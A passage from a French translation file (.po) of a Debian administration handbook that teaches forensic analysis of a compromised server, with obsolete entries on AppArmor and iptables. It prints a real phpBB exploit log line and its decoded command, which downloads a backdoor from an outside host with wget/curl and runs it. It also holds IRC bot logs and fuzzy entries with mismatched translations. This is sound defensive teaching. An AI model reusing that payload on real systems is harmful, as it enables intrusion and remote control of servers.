disposent pas d'infrastructure de réinstallation automatique. Attention également à ne pas réinitialiser la machine avec une sauvegarde complète ultérieure à la date de compromission ! Il vaut mieux réinstaller les logiciels et ne restaurer que les données." msgid "Forensic Analysis" msgstr "Analyser à froid" msgid "Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the ro,nodev,noexec,noatime options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake." msgstr "Maintenant que le service est à nouveau fonctionnel, il est temps de se pencher sur les images disque du système compromis afin de comprendre ce qui s'est passé. Lorsqu'on monte l'image du disque, il faut prendre soin d'employer les options ro, nodev, noexec, noatime afin de ne pas modifier son contenu (y compris les horodatages des accès aux fichiers) et de ne pas exécuter par erreur des exécutables compromis." msgid "Retracing an attack scenario usually involves looking for everything that was modified and executed:" msgstr "Pour reconstituer efficacement le scénario d'une attaque, il faut chercher tous azimuts ce qui a été modifié et exécuté :" msgid ".bash_history files often provide for a very interesting read;" msgstr "L'analyse d'éventuels fichiers .bash_history est souvent très instructive;" msgid "so does listing files that were recently created, modified or accessed;" msgstr "Il faut extraire la liste des fichiers récemment créés, modifiés et consultés;" msgid "the strings command helps identifying programs installed by the attacker, by extracting text strings from a binary;" msgstr "L'identification des programmes installés par l'attaquant est souvent possible à l'aide de la commande strings qui extrait les chaînes de caractères présentes dans un binaire;" msgid "the log files in /var/log/ often allow reconstructing a chronology of events;" msgstr "L'analyse des fichiers de traces de /var/log/ fournit souvent une chronologie;" msgid "special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete." msgstr "Enfin, des outils spécialisés permettent de récupérer le contenu de potentiels fichiers supprimés (notamment les fichiers de traces que les attaquants aiment à supprimer)." #, fuzzy #| msgid "checksecurity" msgid "sleuthkit" msgstr "checksecurity" #, fuzzy #| msgid "checksecurity" msgid "autopsy" msgstr "checksecurity" #, fuzzy #| msgid "checksecurity" msgid "Kali" msgstr "checksecurity" #, fuzzy #| msgid "checksecurity" msgid "Grml" msgstr "checksecurity" #, fuzzy #| msgid "checksecurity" msgid "BlackArchLinux" msgstr "checksecurity" #, fuzzy #| msgid "intrusion detection" msgid "penetration testing" msgstr "détection d'intrusion" #, fuzzy #| msgid "MD5" msgid "forensics" msgstr "MD5" #, fuzzy #| msgid "Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package)." msgid "Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a \"live install\" image and contain many programs for forensic analysis, such as Kali Linux (see ), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see ). " msgstr "Certaines de ces opérations sont facilitées par des logiciels spécialisés. Le paquet sleuthkit en particulier fournit de nombreux outils d'analyse de système de fichiers. Leur usage est grandement facilité par l'interface graphique Autopsy Forensic Browser contenue dans le paquet autopsy." msgid "Reconstituting the Attack Scenario" msgstr "Reconstituer le scénario de l'attaque" msgid "All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings." msgstr "Tous les éléments récoltés au cours de l'analyse doivent pouvoir s'emboîter comme dans un puzzle : la date de création des premiers fichiers suspects correspond souvent à des traces prouvant l'intrusion. Un petit exemple réel sera plus parlant qu'un long discours théorique." msgid "The following log is an extract from an Apache access.log:" msgstr "La trace ci-dessous, extraite d'un fichier access.log de Apache, en est un exemple :" msgid "" "\n" "www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n" " " msgstr "" "\n" "www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n" " " #, fuzzy #| msgid "This example matches exploitation of an old security vulnerability in phpBB. " msgid "This example matches exploitation of an old security vulnerability in phpBB. " msgstr "Cet exemple correspond à l'exploitation d'un ancien trou de sécurité de phpBB. " msgid "Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &\"). Indeed, a bd file was found in /tmp/. Running strings /mnt/tmp/bd returns, among other strings, PsychoPhobia Backdoor is starting.... This really looks like a backdoor." msgstr "En décodant cette longue URL, il est possible de comprendre que l'attaquant a exécuté la commande PHP system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &\"). Effectivement, un fichier bd est disponible dans /tmp/. L'exécution de strings /mnt/tmp/bd renvoie entre autres PsychoPhobia Backdoor is starting.... Il s'agit donc d'une porte dérobée." msgid "Some time later, this access was used to download, install and run an IRC bot that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:" msgstr "Peu de temps après, cet accès a été utilisé pour télécharger et installer un bot IRC qui s'est connecté à un réseau IRC underground. Il peut être contrôlé par le biais de ce protocole, notamment pour télécharger des fichiers puis les mettre à disposition. Ce logiciel dispose de son propre fichier de trace :" msgid "" "** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n" "** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n" "** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n" "** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n" "** 2004-11-29-19:50:20: DCC CHAT Correct password\n" "(...)\n" "** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n" "(...)\n" "** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n" "(...)\n" "** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n" "(...)\n" "** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)" msgstr "" "** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n" "** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n" "** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n" "** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n" "** 2004-11-29-19:50:20: DCC CHAT Correct password\n" "(...)\n" "** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n" "(...)\n" "** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n" "(...)\n" "** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n" "(...)\n" "** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)" msgid "These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address." msgstr "Deux fichiers vidéo ont été déposés sur le serveur par l'intermédiaire de la machine 82.50.72.202." msgid "In parallel, the attacker also downloaded a pair of extra files, /tmp/pt and /tmp/loginx. Running these files through strings leads to strings such as Shellcode placed at 0x%08lx and Now wait for suid shell.... These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach." msgstr "En parallèle à cela, l'attaquant a téléchargé des fichiers supplémentaires /tmp/pt et /tmp/loginx. Une analyse avec strings permet de récupérer des chaînes comme Shellcode placed at 0x%08lx ou Now wait for suid shell.... Il s'agit de programmes exploitant des vulnérabilités locales pour obtenir des privilèges administrateur. Mais sont-ils parvenus à leur fin ? Selon toute vraisemblance (fichiers modifiés postérieurement à l'intrusion), non." msgid "In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability." msgstr "Dans cet exemple, tout le déroulement de l'intrusion a pu être reconstitué et l'attaquant a pu se servir du système compromis pendant 3 jours. Toutefois, le plus important dans cette reconstitution est que la vulnérabilité a été identifiée et a pu être corrigée sur la nouvelle installation." #~ msgid "aide (Debian package)" #~ msgstr "aide (paquet Debian)" #~ msgid "detection, intrusion" #~ msgstr "intrusion, détection de" #, fuzzy #~| msgid "" #~| "\n" #~| "# Last Modified: Tue Sep 8 21:40:02 2015\n" #~| "#include <tunables/global>\n" #~| "\n" #~| "/sbin/dhclient {\n" #~| " #include <abstractions/base>\n" #~| " #include <abstractions/nameservice>\n" #~| "\n" #~| " capability net_bind_service,\n" #~| " capability net_raw,\n" #~| "\n" #~| " /bin/dash r,\n" #~| " /etc/dhcp/* r,\n" #~| " /etc/dhcp/dhclient-enter-hooks.d/* r,\n" #~| " /etc/dhcp/dhclient-exit-hooks.d/* r,\n" #~| " /etc/resolv.conf.* w,\n" #~| " /etc/samba/dhcp.conf.* w,\n" #~| " /proc/*/net/dev r,\n" #~| " /proc/filesystems r,\n" #~| " /run/dhclient*.pid w,\n" #~| " /sbin/dhclient mr,\n" #~| " /sbin/dhclient-script rCx,\n" #~| " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n" #~| " /var/lib/NetworkManager/* r,\n" #~| " /var/lib/NetworkManager/*.lease rw,\n" #~| " /var/lib/dhcp/*.leases rw,\n" #~| "\n" #~| " profile /sbin/dhclient-script flags=(complain) {\n" #~| " #include <abstractions/base>\n" #~| " #include <abstractions/bash>\n" #~| "\n" #~| " /bin/dash rix,\n" #~| " /etc/dhcp/dhclient-enter-hooks.d/* r,\n" #~| " /etc/dhcp/dhclient-exit-hooks.d/* r,\n" #~| " /sbin/dhclient-script r,\n" #~| "\n" #~| " }\n" #~| "}\n" #~| " " #~ msgid "" #~ "\n" #~ "# Last Modified: Fri Jul 5 00:51:02 2019\n" #~ "#include <tunables/global>\n" #~ "\n" #~ "/usr/sbin/dhclient {\n" #~ " #include <abstractions/base>\n" #~ " #include <abstractions/nameservice>\n" #~ "\n" #~ " capability net_bind_service,\n" #~ " capability net_raw,\n" #~ "\n" #~ " /bin/dash r,\n" #~ " /etc/dhcp/* r,\n" #~ " /etc/dhcp/dhclient-enter-hooks.d/* r,\n" #~ " /etc/dhcp/dhclient-exit-hooks.d/* r,\n" #~ " /etc/resolv.conf.* w,\n" #~ " /etc/samba/dhcp.conf.* w,\n" #~ " /proc/*/net/dev r,\n" #~ " /proc/filesystems r,\n" #~ " /run/dhclient*.pid w,\n" #~ " /sbin/dhclient mr,\n" #~ " /sbin/dhclient-script rCx,\n" #~ " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n" #~ " /var/lib/NetworkManager/* r,\n" #~ " /var/lib/NetworkManager/*.lease rw,\n" #~ " /var/lib/dhcp/*.leases rw,\n" #~ "\n" #~ " owner /etc/** mrwk,\n" #~ " owner /var/** mrwk,\n" #~ " owner /{,var/}run/** mrwk,\n" #~ "}\n" #~ " " #~ msgstr "" #~ "\n" #~ "# Last Modified: Tue Sep 8 21:40:02 2015\n" #~ "#include <tunables/global>\n" #~ "\n" #~ "/sbin/dhclient {\n" #~ " #include <abstractions/base>\n" #~ " #include <abstractions/nameservice>\n" #~ "\n" #~ " capability net_bind_service,\n" #~ " capability net_raw,\n" #~ "\n" #~ " /bin/dash r,\n" #~ " /etc/dhcp/* r,\n" #~ " /etc/dhcp/dhclient-enter-hooks.d/* r,\n" #~ " /etc/dhcp/dhclient-exit-hooks.d/* r,\n" #~ " /etc/resolv.conf.* w,\n" #~ " /etc/samba/dhcp.conf.* w,\n" #~ " /proc/*/net/dev r,\n" #~ " /proc/filesystems r,\n" #~ " /run/dhclient*.pid w,\n" #~ " /sbin/dhclient mr,\n" #~ " /sbin/dhclient-script rCx,\n" #~ " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n" #~ " /var/lib/NetworkManager/* r,\n" #~ " /var/lib/NetworkManager/*.lease rw,\n" #~ " /var/lib/dhcp/*.leases rw,\n" #~ "\n" #~ " profile /sbin/dhclient-script flags=(complain) {\n" #~ " #include <abstractions/base>\n" #~ " #include <abstractions/bash>\n" #~ "\n" #~ " /bin/dash rix,\n" #~ " /etc/dhcp/dhclient-enter-hooks.d/* r,\n" #~ " /etc/dhcp/dhclient-exit-hooks.d/* r,\n" #~ " /sbin/dhclient-script r,\n" #~ "\n" #~ " }\n" #~ "}\n" #~ " " #, fuzzy #~| msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. " #~ msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. " #~ msgstr "On consultera donc également la page dédiée à SELinux du wiki Debian ainsi que le blog de Russelll Coker, un des développeurs Debian les plus actifs sur SELinux. " #~ msgid "mod-security" #~ msgstr "mod-security" #~ msgid "Autopsy Forensic Browser" #~ msgstr "Autopsy Forensic Browser" #~ msgid "The Sleuth Kit" #~ msgstr "The Sleuth Kit" #~ msgid "The lack of a standard configuration (and the “process, not product” motto) explains the lack of a turn-key solution. There are, however, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them." #~ msgstr "L'absence de configuration standard explique qu'il n'y ait pas de solution prête à l'emploi. Des outils permettent en revanche de simplifier la configuration du pare-feu netfilter en visualisant graphiquement les règles définies. L'un des meilleurs est sans doute fwbuilder." #~ msgid "netfilter" #~ msgstr "netfilter" #~ msgid "ip6tables" #~ msgstr "ip6tables" #~ msgid "netfilter uses four distinct tables which store rules regulating three kinds of operations on packets:" #~ msgstr "netfilter dispose de quatre tables distinctes, donnant les règles régissant trois types d'opérations sur les paquets :" #~ msgid "filter concerns filtering rules (accepting, refusing or ignoring a packet);" #~ msgstr "filter pour les règles de filtrage (accepter, refuser, ignorer un paquet) ;" #~ msgid "nat concerns translation of source or destination addresses and ports of packages;" #~ msgstr "nat pour modifier les adresses IP et les ports sources ou destinataires des paquets ;" #~ msgid "mangle concerns other changes to the IP packets (including the ToS — Type of Service — field and options);" #~ msgstr "mangle pour modifier d'autres paramètres des paquets IP (notamment le champ ToS — Type Of Service — et les options) ;" #~ msgid "raw allows other manual modifications on packets before they reach the connection tracking system." #~ msgstr "raw pour effectuer des manipulations manuelles sur les paquets avant que le suivi de connexion entre en jeu." #~ msgid "Each table contains lists of rules called chains. The firewall uses standard chains to handle packets based on predefined circumstances. The administrator can create other chains, which will only be used when referred to by one of the standard chains (either directly or indirectly)." #~ msgstr "Chaque table contient des listes de règles appelées chaînes ; les chaînes standards servent au pare-feu pour traiter les paquets dans différentes circonstances prédéfinies. L'administrateur peut créer d'autres chaînes, qui ne seront employées que si l'une des chaînes standards les appelle." #~ msgid "The filter table has three standard chains:" #~ msgstr "La table filter compte trois chaînes standards :" #~ msgid "INPUT: concerns packets whose destination is the firewall itself;" #~ msgstr "INPUT : concerne les paquets destinés au pare-feu ;" #~ msgid "OUTPUT: concerns packets emitted by the firewall;" #~ msgstr "OUTPUT : concerne les paquets émis par le pare-feu ;" #~ msgid "FORWARD: concerns packets transiting through the firewall (which is neither their source nor their destination)." #~ msgstr "FORWARD : appliquée aux paquets transitant via le pare-feu (et dont il n'est donc ni la source ni le destinataire)." #~ msgid "The nat table also has three standard chains:" #~ msgstr "La table nat dispose également de trois chaînes standards :" #~ msgid "PREROUTING: to modify packets as soon as they arrive;" #~ msgstr "PREROUTING : modifie les paquets dès qu'ils arrivent ;" #~ msgid "POSTROUTING: to modify packets when they are ready to go on their way;" #~ msgstr "POSTROUTING : modifie les paquets alors qu'ils sont prêts à partir ;" #~ msgid "OUTPUT: to modify packets generated by the firewall itself." #~ msgstr "OUTPUT : modifie les paquets générés par le pare-feu lui-même." #~ msgid "How netfilter chains are called" #~ msgstr "Ordre d'emploi des chaînes de netfilter" #~ msgid "Each chain is a list of rules; each rule is a set of conditions and an action to execute when the conditions are met. When processing a packet, the firewall scans the appropriate chain, one rule after another; when the conditions for one rule are met, it “jumps” (hence the -j option in the commands) to the specified action to continue processing. The most common behaviors are standardized, and dedicated actions exist for them. Taking one of these standard actions interrupts the processing of the chain, since the packet's fate is already sealed (barring an exception mentioned below):" #~ msgstr "Chaque chaîne est une liste de règles, prévoyant une action à exécuter quand certaines conditions sont remplies. Le pare-feu parcourt séquentiellement la chaîne s'appliquant au paquet traité et dès qu'une règle est satisfaite, il « saute » (l'option -j vient de jump) à l'emplacement indiqué pour continuer le traitement. Certains de ces emplacements sont standardisés et correspondent aux actions les plus courantes. Une fois une de ces actions enclenchée, le parcours de la chaîne est interrompu parce que le sort du paquet est normalement décidé (sauf exception explicitement mentionnée ci-après) :" #~ msgid "ACCEPT: allow the packet to go on its way;" #~ msgstr "ACCEPT : autoriser le paquet à poursuivre son parcours ;" #~ msgid "REJECT: reject the packet with an ICMP error packet (the --reject-with type option to iptables allows selecting the type of error);" #~ msgstr "REJECT : rejeter le paquet (ICMP signale une erreur, l'option --reject-with type d'iptables permet de choisir le type d'erreur renvoyée) ;" #~ msgid "DROP: delete (ignore) the packet;" #~ msgstr "DROP : supprimer (ignorer) le paquet ;" #~ msgid "LOG: log (via syslogd) a message with a description of the packet; note that this action does not interrupt processing, and the execution of the chain continues at the next rule, which is why logging refused packets requires both a LOG and a REJECT/DROP rule;" #~ msgstr "LOG : enregistrer (via syslogd) un message de log contenant une description du paquet traité (cette action retourne après exécution à sa position dans la chaîne appelante — celle qui a invoquée l'action — c'est pourquoi il est nécessaire de la faire suivre par une règle REJECT ou DROP si l'on veut simplement enregistrer la trace d'un paquet qui doit être refusé) ;" #~ msgid "ULOG: log a message via ulogd, which can be better adapted and more efficient than syslogd for handling large numbers of messages; note that this action, like LOG, also returns processing to the next rule in the calling chain;" #~ msgstr "ULOG : enregistrer un message de log via ulogd, plus adapté et plus efficace que syslogd pour gérer de grandes quantités de messages (cette action renvoie aussi le fil d'exécution à sa position dans la chaîne appelante) ;" #~ msgid "chain_name: jump to the given chain and evaluate its rules;" #~ msgstr "nom_de_chaîne : évaluer les règles de la chaîne indiquée ;" #~ msgid "RETURN: interrupt processing of the current chain, and return to the calling chain; in case the current chain is a standard one, there's no calling chain, so the default action (defined with the -P option to iptables) is executed instead;" #~ msgstr "RETURN : stopper l'évaluation de la chaîne courante et revenir sur la chaîne appelante (si la chaîne courante est une chaîne standard, dépourvue de chaîne appelante, effectuer l'action par défaut — il s'agit d'une action particulière qui se configure avec l'option -P de iptables) ;" #~ msgid "SNAT (only in the nat table): apply Source NAT (extra options describe the exact changes to apply);" #~ msgstr "SNAT (seulement dans la table nat : effectuer du Source NAT (des options précisent les modifications à effectuer) ;" #~ msgid "DNAT (only in the nat table): apply Destination NAT (extra options describe the exact changes to apply);" #~ msgstr "DNAT (seulement dans la table nat) : effectuer du Destination NAT (des options précisent les modifications à effectuer) ;" #~ msgid "MASQUERADE (only in the nat table): apply masquerading (a special case of Source NAT);" #~ msgstr "MASQUERADE (seulement dans la table nat) : effectuer du masquerading (SNAT particulier) ;" #~ msgid "REDIRECT (only in the nat table): redirect a packet to a given port of the firewall itself; this can be used to set up a transparent web proxy that works with no configuration on the client side, since the client thinks it connects to the recipient whereas the communications actually go through the proxy." #~ msgstr "REDIRECT (seulement dans la table nat) : rediriger un paquet vers un port particulier du pare-feu lui-même ; action notamment utile pour mettre en place un mandataire (ou proxy) web transparent (il s'agit d'un service pour lequel aucune configuration côté client n'est nécessaire, puisque le client a l'impression de se connecter directement au destinataire alors que ses échanges avec le serveur transitent systématiquement par le mandataire)." #~ msgid "Other actions, particularly those concerning the mangle table, are outside the scope of this text. The iptables 8 and ip6tables 8 have a comprehensive list." #~ msgstr "D'autres actions, concernant davantage la table mangle, ne sont pas mentionnées ici. Vous en trouverez la liste exhaustive dans les pages de manuel iptables8 et ip6tables8." #~ msgid "The iptables and ip6tables commands allow manipulating tables, chains and rules. Their -t table option indicates which table to operate on (by default, filter)." #~ msgstr "Les commandes iptables et ip6tables permettent de manipuler les tables, les chaînes et les règles. L'option -t table indique la table sur laquelle opérer (par défaut, c'est filter)." #~ msgid "Commands" #~ msgstr "Les commandes" #~ msgid "The -N chain option creates a new chain. The -X chain deletes an empty and unused chain. The -A chain rule adds a rule at the end of the given chain. The -I chain rule_num rule option inserts a rule before the rule number rule_num. The -D chain rule_num (or -D chain rule) option deletes a rule in a chain; the first syntax identifies the rule to be deleted by its number, while the latter identifies it by its contents. The -F chain option flushes a chain (deletes all its rules); if no chain is mentioned, all the rules in the table are deleted. The -L chain option lists the rules in the chain. Finally, the -P chain action option defines the default action, or “policy”, for a given chain; note that only standard chains can have such a policy." #~ msgstr "L'option -N chaîne crée une nouvelle chaîne ; l'option -X chaîne supprime une chaîne vide et inutilisée. L'option -A chaîne règle ajoute une règle à la fin de la chaîne indiquée. L'option -I chaîne numrègle règle insère une règle avant la règle numérotée numrègle. L'option -D chaîne numrègle ou -D chaîne règle supprime une règle dans la chaîne (la première syntaxe l'identifie par son numéro et la seconde par son contenu). L'option -F chaîne supprime toutes les règles de la chaîne (si celle-ci n'est pas mentionnée, elle supprime toutes les règles de la table). L'option -L chaîne affiche le contenu de la chaîne. Enfin, l'option -P chaîne action définit l'action par défaut pour la chaîne donnée (seules les chaînes standards peuvent en avoir une)." #~ msgid "Rules" #~ msgstr "Les règles" #~ msgid "Each rule is expressed as conditions -j action action_options. If several conditions are described in the same rule, then the criterion is the conjunction (logical and) of the conditions, which is at least as restrictive as each individual condition." #~ msgstr "Chaque règle s'exprime sous la forme conditions -j action options_de_l'action. En écrivant bout à bout plusieurs conditions dans la même règle, on en produit la conjonction (elles sont liées par des et logiques), donc une condition plus restrictive." #~ msgid "The -p protocol condition matches the protocol field of the IP packet. The most common values are tcp, udp, icmp, and icmpv6. Prefixing the condition with an exclamation mark negates the condition, which then becomes a match for “any packets with a different protocol than the specified one”. This negation mechanism is not specific to the -p option and it can be applied to all other conditions too." #~ msgstr "La condition -p protocole sélectionne selon le champ protocole du paquet IP, dont les valeurs les plus courantes sont tcp, udp, icmp et icmpv6. Préfixer la condition par un point d'exclamation inverse la condition (qui correspond alors à tous les paquets n'ayant pas le protocole indiqué). Cette manipulation est possible pour toutes les autres conditions énoncées ci-dessous." #~ msgid "The -s address or -s network/mask condition matches the source address of the packet. Correspondingly, -d address or -d network/mask matches the destination address." #~ msgstr "La condition -s adresse ou -s réseau/masque vérifie l'adresse source du paquet ; -d adresse ou -d réseau/masque en est le pendant pour l'adresse de destination." #~ msgid "The -i interface condition selects packets coming from the given network interface. -o interface selects packets going out on a specific interface." #~ msgstr "La condition -i interface sélectionne les paquets provenant de l'interface réseau indiquée ; -o interface sélectionne les paquets en fonction de leur interface réseau d'émission." #~ msgid "There are more specific conditions, depending on the generic conditions described above. For instance, the -p tcp condition can be complemented with conditions on the TCP ports, with clauses such as --source-port port and --destination-port port." #~ msgstr "D'autres conditions plus spécifiques existent, qui dépendent des conditions génériques déjà définies. La condition -p tcp peut par exemple être accompagnée de conditions sur les ports TCP avec --source-port port et --destination-port port." #~ msgid "The --state state condition matches the state of a packet in a connection (this requires the ipt_conntrack kernel module, for connection tracking). The NEW state describes a packet starting a new connection; ESTABLISHED matches packets belonging to an already existing connection, and RELATED matches packets initiating a new connection related to an existing one (which is useful for the ftp-data connections in the “active” mode of the FTP protocol)." #~ msgstr "L'option --state état indique le statut du paquet dans une connexion (le module ipt_conntrack, qui implémente le suivi des connexions, lui est nécessaire). L'état NEW désigne un paquet qui débute une nouvelle connexion. L'état ESTABLISHED concerne les paquets d'une connexion existante et l'état RELATED les paquets d'une nouvelle connexion liée à une connexion existante (c'est le cas des connexions ftp-data d'une session ftp en mode \"actif\")." #~ msgid "The previous section lists available actions, but not their respective options. The LOG action, for instance, has the following options:" #~ msgstr "La section précédente détaille la liste des actions possibles, mais pas les options qui leur sont associées. L'action LOG dispose ainsi de plusieurs options visant à :" #~ msgid "--log-level, with default value warning, indicates the syslog severity level;" #~ msgstr "indiquer le niveau de sévérité du message à syslog (--log-level, dont la valeur par défaut est warning) ;" #~ msgid "--log-prefix allows specifying a text prefix to differentiate between logged messages;" #~ msgstr "préciser un préfixe textuel pour différencier les messages (--log-prefix) ;" #~ msgid "--log-tcp-sequence, --log-tcp-options and --log-ip-options indicate extra data to be integrated into the message: respectively, the TCP sequence number, TCP options, and IP options." #~ msgstr "indiquer les données à intégrer dans le message (--log-tcp-sequence pour le numéro de séquence TCP, --log-tcp-options pour les options TCP et --log-ip-options pour les options IP)." #~ msgid "The DNAT action provides the --to-destination address:port option to indicate the new destination IP address and/or port. Similarly, SNAT provides --to-source address:port to indicate the new source IP address and/or port." #~ msgstr "L'action DNAT dispose de l'option --to-destination adresse:port pour indiquer la nouvelle adresse IP et/ou le nouveau port de destination. De la même manière, l'action SNAT dispose de l'option --to-source adresse:port pour indiquer la nouvelle adresse et/ou le nouveau port source." #~ msgid "The REDIRECT action (only available if NAT is available) provides the --to-ports port(s) option to indicate the port, or port range, where the packets should be redirected." #~ msgstr "L'action REDIRECT (seulement disponible si le NAT est disponible) a une option --to-ports port(s) pour indiquer le port ou l'intervalle de ports vers lesquels rediriger les paquets." #~ msgid "Creating Rules" #~ msgstr "Créer les règles" #~ msgid "The principle is simple. In the first step, one needs to describe all the elements that will be involved in the actual rules:" #~ msgstr "Son principe est simple. Dans une première étape, il faut décrire tous les éléments susceptibles d'intervenir dans les différentes règles :" #~ msgid "the firewall itself, with its network interfaces;" #~ msgstr "le pare-feu et ses interfaces réseau ;" #~ msgid "the networks, with their corresponding IP ranges;" #~ msgstr "les réseaux (et plages d'IP associées) ;" #~ msgid "the servers;" #~ msgstr "les serveurs ;" #~ msgid "the ports belonging to the services hosted on the servers." #~ msgstr "les ports correspondant aux services hébergés sur les différents serveurs." #~ msgid "The rules are then created with simple drag-and-drop actions on the objects. A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured." #~ msgstr "On crée ensuite les règles par simple glisser/déposer des différents objets, quelques menus contextuels servant à modifier la condition (l'inverser, par exemple). Il ne reste qu'à saisir l'action souhaitée et à la paramétrer." #~ msgid "As far as 